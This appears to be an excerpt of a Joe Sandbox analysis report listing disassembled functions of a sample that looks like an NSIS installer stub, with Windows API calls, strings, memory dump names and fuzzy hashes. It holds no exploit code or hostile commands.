EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464
EnumProcesses, xrefs: 00406482
Module32NextW, xrefs: 004065DE
Module32FirstW, xrefs: 004065D3
GetModuleBaseNameW, xrefs: 00406494
Process32FirstW, xrefs: 004065BD
CreateToolhelp32Snapshot, xrefs: 004065B5
Process32NextW, xrefs: 004065C8
Kernel32.DLL, xrefs: 0040659B

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
EnableWindow.USER32(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: @rD
API String ID: 184305955-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
@%F, xrefs: 004042A7
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

F, xrefs: 00406AE8
[Rename], xrefs: 00406BC8, 00406BD7
%s=%s, xrefs: 00406B43
NUL, xrefs: 00406A9E

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: d79db666ee92a39b53e47641609ed565b43369f8775619f718224e07aa5483b4
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: c666975226392a23a96cc8c7abb3eb5c8f7508c76e04a15e1ccd320165ca38cb
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: aebbfb54fe117075fb91935afd2b3d42be9cb3525beaf419298f1839c78bdf39
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
